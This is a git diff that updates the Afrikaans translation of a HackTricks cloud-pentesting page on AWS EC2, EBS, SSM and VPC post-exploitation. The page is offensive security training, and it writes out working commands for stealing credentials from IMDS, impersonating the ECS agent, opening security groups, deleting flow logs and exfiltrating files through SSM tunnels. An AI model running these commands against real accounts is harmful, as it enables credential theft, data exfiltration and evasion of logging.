mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -1,29 +1,29 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post-uitbuiting
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Vir meer inligting sien:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Kwaadaardige VPC-spieël -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **dupliseer inkomende en uitgaande verkeer vir EC2-instansies binne 'n VPC** sonder die behoefte om enigiets op die instansies self te installeer. Hierdie gedupliseerde verkeer word gewoonlik na iets soos 'n network intrusion detection system (IDS) gestuur vir ontleding en monitering.\
|
||||
'n Aanvaller kan dit misbruik om al die verkeer te kap en sensitiewe inligting daaruit te verkry:
|
||||
VPC traffic mirroring **dupliseer binnestromende en uitgaande verkeer vir EC2 instances binne 'n VPC** sonder die behoefte om enigiets op die instansies self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n network intrusion detection system (IDS) gestuur word vir ontleding en monitering.\
|
||||
'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te verkry:
|
||||
|
||||
Vir meer inligting sien hierdie bladsy:
|
||||
Vir meer inligting, kyk na hierdie blad:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Kopieer lopende instansie
|
||||
### Copy Running Instance
|
||||
|
||||
Instansies bevat gewoonlik 'n vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te kyk wat dit bevat, is egter om **'n AMI te skep en 'n nuwe instansie daaruit te laat hardloop (selfs in jou eie rekening)**:
|
||||
Instansies bevat gewoonlik 'n vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te sien wat dit bevat, is om 'n **AMI te skep en 'n nuwe instance (selfs in jou eie account) daarvandaan te begin**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, wat gewoonlik **sensitiewe inligting** sal bevat; daarom behoort die inspeksie daarvan hierdie inligting te openbaar.\
|
||||
As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of dit net **mount it in an instance** binne die rekening:
|
||||
**Snapshots are backups of volumes**, wat gewoonlik **sensitiewe inligting** sal bevat, daarom behoort die inspeksie daarvan hierdie inligting te openbaar.\
|
||||
As jy 'n **volume sonder 'n snapshot** vind, kan jy: 'n **snapshot skep** en die volgende aksies uitvoer of dit eenvoudig **mount in 'n instance** binne die rekening:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` om 'n rou skyfbeeld te bekom sonder snapshot sharing. Dit maak volledige offline forensiese ondersoeke of datadiefstal moontlik terwyl die instance-netwerk ongemoeid gebly word.
|
||||
Voer 'n EC2 AMI direk na S3 uit met `CreateStoreImageTask` om 'n rou skyfbeeld te kry sonder snapshot-sharing. Dit maak volle aflyn forensiese ontleding of data-diefstal moontlik terwyl die instance-netwerk onveranderd bly.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance en mount dit read-only om live data af te tap sonder snapshots. Nuttig wanneer die victim volume reeds Multi-Attach binne dieselfde AZ geaktiveer het.
|
||||
Sluit 'n io1/io2 Multi-Attach volume aan by 'n tweede instance en mount dit as read-only om lewendige data te aftap sonder snapshots. Bruikbaar wanneer die slagoffer-volume reeds Multi-Attach binne dieselfde AZ aangeskakel het.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, en inject ephemeral SSH keys om private instances oor 'n managed tunnel te bereik. Bied vinnige laterale bewegingspaaie sonder om publieke poorte te oop te maak.
|
||||
Skep 'n EC2 Instance Connect Endpoint, verleen ingress, en injekteer kortstondige SSH-sleutels om private instances oor 'n bestuurde tonnel te bereik. Bied vinnige laterale bewegingspaaie sonder om publieke poorte oop te maak.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP na 'n attacker-controlled ENI om vertroude hosts te impersonate wat per IP op 'n allowlist is. Maak dit moontlik om interne ACLs of SG-reëls wat aan spesifieke adresse gekoppel is, te omseil.
|
||||
Skuif 'n slagoffer-ENI se sekondêre private IP na 'n aanvaller-beheerde ENI om vertroude hosts wat per IP op 'n allowlist staan te imiteer. Hiermee kan interne ACLs of SG-reëls wat op spesifieke adresse gebaseer is, omseil word.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP van die victim instance na die attacker om inkomende verkeer te onderskep of uitgaande verbindings te initieer wat blykbaar vanaf vertroude publieke IP's kom.
|
||||
Hersassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat voorkom asof hulle vanaf vertroude publieke IPs kom.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
As 'n security group-regel na 'n customer-managed prefix list verwys, sal die byvoeging van attacker CIDRs tot die lys stilweg toegang uitbrei oor elke afhanklike SG-reël sonder om die SG self te wysig.
|
||||
As 'n security group-reël na 'n customer-managed prefix list verwys, brei die toevoeging van aanvaller-CIDRs tot die lys stilweg toegang uit oor elke afhanklike SG-reël sonder om die SG self te verander.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herwin. Deur AWS-managed private links te benut, kan ontbrekende IGW/NAT-beheermaatreëls omseil word vir data exfiltration.
|
||||
Skep gateway- of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herwin. Deur AWS-managed private links te benut word ontbrekende IGW/NAT-beheermaatreëls vir data-exfiltrasie omseil.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
An attacker with the `ec2:AuthorizeSecurityGroupIngress` permission kan inkomende reëls by security groups voeg (byvoorbeeld om `tcp:80` vanaf `0.0.0.0/0` toe te laat), waardeur interne dienste aan die publieke Internet of andersins ongemagtigde netwerke blootgestel word.
|
||||
'n Aanvaller met die ec2:AuthorizeSecurityGroupIngress-toestemming kan inkomende reëls by security groups voeg (byvoorbeeld deur tcp:80 vanaf 0.0.0.0/0 toe te laat), en sodoende interne dienste aan die publieke Internet of andersins ongemagtigde netwerke blootstel.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
'n Aanvaller met `ec2:ReplaceNetworkAclEntry` (of soortgelyke) magte kan 'n subnet se Network ACLs (NACLs) wysig om hulle baie permissief te maak — byvoorbeeld om 0.0.0.0/0 op kritieke poorte toe te laat — en sodoende die hele subnet-reeks aan die Internet of aan ongemagtigde netwerksegmente bloot te stel. Anders as Security Groups, wat per-instance toegepas word, word NACLs op subnet-vlak toegepas, so die verander van 'n beperkende NACL kan 'n veel groter blast radius hê deur toegang tot baie meer hosts moontlik te maak.
|
||||
'n Aanvaller met ec2:ReplaceNetworkAclEntry (of soortgelyke) toestemmings kan 'n subnet se Network ACLs (NACLs) wysig om dit baie permissief te maak — byvoorbeeld deur 0.0.0.0/0 op kritieke poorte toe te laat — en sodoende die hele subnet-reeks bloot te stel aan die Internet of aan onbevoegde netwerksegmente. Anders as Security Groups, wat per instance toegepas word, word NACLs op subnetvlak toegepas, so die verandering van 'n beperkende NACL kan 'n veel groter blast radius hê deur toegang tot baie meer hosts moontlik te maak.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
'n Aanvaller met ec2:Delete* en iam:Remove* magte kan kritieke infrastruktuurhulpbronne en konfigurasies uitvee — byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, dataverlies, en verlies van forensiese bewyse veroorsaak.
|
||||
'n Aanvaller met ec2:Delete* en iam:Remove* regte kan kritieke infrastruktuurbronne en konfigurasies uitvee — byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes of attachments, security groups of rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, dataverlies, en verlies van forensiese bewyse veroorsaak.
|
||||
|
||||
One example is deleting a security group:
|
||||
Een voorbeeld is die verwydering van 'n security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Wys VPC Flow Logs na 'n aanvaller-beheerde S3 bucket om netwerkmetadata (source/destination, ports) buite die slagoffer se rekening deurlopend te versamel vir langtermyn reconnaissance.
|
||||
Wys VPC Flow Logs na 'n deur die aanvaller beheerde S3 bucket om netwerk-metadata (bron/bestemming, poorte) voortdurend buite die slagofferrekening te versamel vir langtermyn verkenning.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,70 +150,74 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Selfs as jy 'n EC2 toesluit sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
|
||||
Selfs as jy 'n EC2 so afskerm dat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- **VPC Flow Logs sal dit nie opneem nie**.
|
||||
- Jy het geen toegang tot AWS DNS logs nie.
|
||||
- Deaktiveer dit deur "enableDnsSupport" op false te stel met:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
'n Aanvaller kan API endpoints van 'n rekening wat hy beheer, aanroep. CloudTrail sal hierdie oproepe log en die aanvaller sal die exfiltrate data in die CloudTrail logs kan sien.
|
||||
'n Aanvaller kan API endpoints van 'n rekening wat hy beheer, aanroep. Cloudtrail sal hierdie oproepe log, en die aanvaller sal die exfiltrate data in die Cloudtrail logs kan sien.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Jy kan verdere toegang tot netwerkdienste kry deur poorte so te open:
|
||||
Jy kan verdere toegang tot netwerkdienste kry deur poorte soos hierdie oop te maak:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
Dit is moontlik om 'n EC2 instance te laat loop en dit te registreer sodat dit ECS instances kan laat loop, en dan die ECS instances se data te steel.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
### ECS-on-EC2 IMDS Misbruik en ECS Agent-nabootsing (ECScape)
|
||||
|
||||
'n Kompromie binne enige ECS task wat op 'n EC2 container instance loop is gewoonlik genoeg om in die host-rol te pivot en die IAM-rolle geassosieer met al die ander tasks op daardie node te bekom. Omdat daar **geen task isolasie vir ECS-on-EC2** is nie, kan elke task standaard die EC2 Instance Metadata Service (IMDS) bevraag, die container instance profile steel, en dan dieselfde WebSocket-protokol praat wat die ECS agent gebruik teen die control plane (die **ECScape** primitief) om die credentials vir elke taak wat tans op daardie host geskeduleer is te versoek. Latacora het hierdie workflow gedokumenteer in hul [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), wat die volgende offensiewe samevatting kondenseer.
|
||||
Op ECS met die EC2 launch type neem die control plane elke task role aan en stoot die tydelike credentials af na die ECS-agent oor die Agent Communication Service (ACS) WebSocket-kanaal. Die agent dien daardie credentials daarna aan kontainers via die task metadata endpoint (169.254.170.2). Die ECScape-navorsing wys dat as 'n kontainer IMDS kan bereik en die **instance profile** kan steel, dit die agent oor ACS kan naboots en **elke task role credential** op daardie host kan ontvang, insluitend **task execution role** credentials wat nie via die metadata-endpoint blootgestel word nie.
|
||||
|
||||
#### Attack chain
|
||||
#### Aanvalsketting
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
1. **Steel die container instance role vanaf IMDS.** IMDS-toegang is nodig om die host role te verkry wat deur die ECS-agent gebruik word.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
2. **Ontdek die ACS poll endpoint en vereiste identifiseerders.** Gebruik die instance role credentials om `ecs:DiscoverPollEndpoint` aan te roep om die ACS endpoint te kry en identifiseerders te versamel soos die cluster ARN en container instance ARN. Die cluster ARN word blootgestel via task metadata (169.254.170.2/v4/), terwyl die container instance ARN via die agent introspection API of (indien toegelaat) `ecs:ListContainerInstances` verkry kan word.
|
||||
3. **Naboots die ECS-agent oor ACS.** Inisieer 'n SigV4-ondertekende WebSocket na die poll endpoint en sluit `sendCredentials=true` in. ECS aanvaar die verbinding as 'n geldige agent-sessie en begin `IamRoleCredentials`-boodskappe vir **alle** tasks op die instance stroom. Dit sluit task execution role credentials in, wat ECR-pulls, Secrets Manager-opvraginge of CloudWatch Logs-toegang kan ontsluit.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:
|
||||
#### IMDS-bereikbaarheid met IMDSv2 + hop limit 1
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
Deur IMDSv2 te stel met `HttpTokens=required` en `HttpPutResponseHopLimit=1` word slegs tasks geblokkeer wat agter 'n ekstra hop (Docker bridge) woon. Ander netwerkmodes bly binne een hop van die Nitro controller en ontvang steeds antwoorde:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Rede |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Elke taak kry sy eie ENI wat steeds een hop weg van IMDS is, so tokens en metadata-antwoorde arriveer suksesvol. |
|
||||
| `awsvpc` | ✅ | Elke task kry sy eie ENI wat steeds een hop van IMDS af is, so tokens en metadata-antwoorde kom suksesvol aan. |
|
||||
| `host` | ✅ | Tasks deel die host-namespace, so hulle sien dieselfde hop-afstand as die EC2 instance. |
|
||||
| `bridge` | ❌ | Antwoorde sterf op die Docker bridge omdat daardie ekstra hop die hop limit uitput. |
|
||||
| `bridge` | ❌ | Antwoorde sterf op die Docker bridge omdat daardie ekstra hop die hop-limiet uitgeput. |
|
||||
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
Daarom, **moet jy nooit aanvaar dat hop limit 1 beskerm `awsvpc` of host-mode workloads nie**—toets altyd van binne jou kontainers.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
#### Opsporing van IMDS-blokke per netwerkmode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, of routing-wysigings kan die link-local 169.254.169.254 adres nie blokkeer nie omdat Nitro dit on-host injekteer. Kyk na `/etc/ecs/ecs.config` vir `ECS_AWSVPC_BLOCK_IMDS=true`. As die vlag ontbreek (default) kan jy IMDS direk vanaf die taak curl. As dit gestel is, pivot na die host/agent namespace om dit terug te sit of voer jou tooling buite awsvpc uit.
|
||||
- **awsvpc tasks:** Sekuriteitsgroepe, NACLs, of routing-aanpassings kan nie die link-local 169.254.169.254 adres blokkeer nie omdat Nitro dit op-host injekteer. Kyk na `/etc/ecs/ecs.config` vir `ECS_AWSVPC_BLOCK_IMDS=true`. As die vlag ontbreek (standaard) kan jy IMDS direk vanaf die taak curl. As dit gestel is, pivot in die host/agent-namespace om dit terug te skakel of voer jou gereedskap buite `awsvpc` uit.
|
||||
|
||||
- **bridge mode:** Wanneer metadata-versoeke misluk selfs al is hop limit 1 geconfigureer, het verdedigers waarskynlik 'n `DOCKER-USER` drop-reël ingesit soos `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Om `iptables -S DOCKER-USER` te lys blootlê dit, en root-toegang laat jou toe om die reël te verwyder of te herorden voordat jy IMDS bevraagteken.
|
||||
- **bridge mode:** Wanneer metadata-versoeke misluk al is hop limit 1 gekonfigureer, het verdedigers waarskynlik 'n `DOCKER-USER` drop-reël ingevoeg soos `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Lys `iptables -S DOCKER-USER` openbaar dit, en root-toegang laat jou toe om die reël te verwyder of te herordeneer voordat jy IMDS navraag doen.
|
||||
|
||||
- **host mode:** Inspekteer die agentkonfigurasie vir `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Daardie instelling verwyder task IAM rolle heeltemal, so jy moet óf dit weer aktiveer, na awsvpc tasks skuif, óf credentials deur 'n ander proses op die host steel. Wanneer die waarde `true` is (default), kan elke host-mode proses — insluitend gekompromitteerde containers — IMDS bereik tensy spesifieke eBPF/cgroup filters na `169.254.169.254` mik; soek na tc/eBPF programme of iptables-reëls wat daardie adres noem.
|
||||
- **host mode:** Inspekteer die agent-konfigurasie vir `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Daardie instelling verwyder task IAM-rolle heeltemal, so jy moet dit óf weer aktiveer, oorskakel na `awsvpc`-tasks, of credentials deur 'n ander proses op die host steel. Wanneer die waarde `true` is (standaard), kan elke host-mode proses—insluitend gecompromitteerde kontainers—IMDS bereik, tensy spesiale eBPF/cgroup-filters die adres `169.254.169.254` teiken; soek na tc/eBPF-programme of iptables-reëls wat daardie adres noem.
|
||||
|
||||
Latacora het selfs [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) vrygestel wat jy in 'n teikenaccount kan los om te enumereer watter netwerkmodusse steeds metadata blootstel en jou volgende stap dienooreenkomstig te beplan.
|
||||
Latacora het selfs [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) vrygestel wat jy in 'n teikenrekening kan plaas om te bepaal watter netwerkmodes steeds metadata blootstel en jou volgende stap te beplan.
|
||||
|
||||
Sodra jy verstaan watter modusse IMDS blootstel kan jy jou post-exploitation-pad beplan: mik enige ECS task, versoek die instance profile, impersonate die agent, en oes elke ander task-rol vir lateral movement of persistence binne die cluster.
|
||||
Sodra jy verstaan watter modes IMDS blootstel, kan jy jou post-exploitation-pad beplan: teiken enige ECS task, versoek die instance profile, naboots die agent, en oes elke ander task role vir laterale beweging of persistensie binne die cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Verwyder VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -223,49 +227,49 @@ Vereiste toestemmings:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Benewens die uitvoering van opdragte, laat SSM traffic tunneling toe wat misbruik kan word om te pivot vanaf EC2 instances wat nie netwerktoegang het as gevolg van Security Groups of NACLs nie.
|
||||
Een van die scenario's waar dit nuttig is, is om te pivot vanaf 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster.
|
||||
Benewens command execution, laat SSM toe vir traffic tunneling wat misbruik kan word om te pivot vanaf EC2 instances wat nie netwerktoegang het as gevolg van Security Groups of NACLs nie.
|
||||
Een van die scenario's waar dit nuttig is, is om van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) te pivot na 'n private EKS cluster.
|
||||
|
||||
> Om 'n sessie te begin, moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Om 'n sessie te begin moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installeer die SessionManagerPlugin op jou masjien
|
||||
2. Teken aan by die Bastion EC2 met die volgende opdrag:
|
||||
2. Meld aan by die Bastion EC2 met die volgende opdrag:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Kry die Bastion EC2 AWS tydelike credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
3. Kry die Bastion EC2 AWS temporary credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Dra die credentials oor na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel
|
||||
5. Meld aan by EKS as die Bastion EC2:
|
||||
5. Teken in op EKS as die Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Werk die `server`-veld in die `$HOME/.kube/config`-lêer by om na `https://localhost` te wys
|
||||
7. Skep 'n SSM-tunnel soos volg:
|
||||
6. Werk die `server` veld in die `$HOME/.kube/config` lêer by om na `https://localhost` te wys
|
||||
7. Skep 'n SSM tunnel soos volg:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Die verkeer van die `kubectl` tool word nou deur die SSM tunnel via die Bastion EC2 deurgelei en jy kan die privaat EKS cluster vanaf jou eie masjien bereik deur die volgende uit te voer:
|
||||
8. Die verkeer van die `kubectl`-hulpmiddel word nou deur die SSM-tunnel via die Bastion EC2 deurgestuur en jy kan die private EKS-cluster vanaf jou eie masjien bereik deur die volgende uit te voer:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Neem kennis dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
|
||||
Neem kennis dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify` vlag (of die ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy beskerm teen enige soort MitM-aanvalle.
|
||||
|
||||
Laastens, hierdie tegniek is nie spesifiek tot die aanval op privaat EKS-klusters nie. Jy kan arbitrêre domeine en poorte instel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
Laastens is hierdie tegniek nie spesifiek tot die aanval van privaat EKS-klusters nie. Jy kan willekeurige domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
|
||||
---
|
||||
|
||||
#### Vinnige Plaaslike ↔️ Afgeleë Poort-vooruitstuur (AWS-StartPortForwardingSession)
|
||||
#### Vinnige Plaaslike ↔️ Afstandlike Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
As jy net moet deurstuur **een TCP-poort van die EC2-instantie na jou plaaslike host** kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen remote host-parameter nodig nie):
|
||||
As jy net een TCP-poort van die EC2 instance na jou plaaslike host hoef te forward, kan jy die `AWS-StartPortForwardingSession` SSM document gebruik (geen remote host-parameter benodig):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Die opdrag vestig 'n tweerigting-tonnel tussen jou werkstasie (`localPortNumber`) en die gekose poort (`portNumber`) op die instance **sonder om enige inkomende Security-Group rules oop te maak**.
|
||||
Die opdrag stel 'n bidirectionele tonnel in tussen jou werkstasie (`localPortNumber`) en die gekose poort (`portNumber`) op die instance **sonder om enige inkomende Security-Group-reëls oop te maak**.
|
||||
|
||||
Gereelde gebruiksgevalle:
|
||||
Algemene gebruiksgevalle:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Op die instance begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:
|
||||
@@ -288,7 +292,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Wenk: Komprimeer en enkripteer bewyse voordat jy dit exfiltreer, sodat CloudTrail nie die clear-text inhoud registreer nie:
|
||||
Wenk: Komprimeer en enkripteer bewyse voordat jy dit eksfiltreer sodat CloudTrail nie die clear-text inhoud log nie:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -297,9 +301,9 @@ Wenk: Komprimeer en enkripteer bewyse voordat jy dit exfiltreer, sodat CloudTrai
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Soek sensitiewe inligting in openbare en privaat AMIs
|
||||
### Soek sensitiewe inligting in openbare en private AMIs
|
||||
|
||||
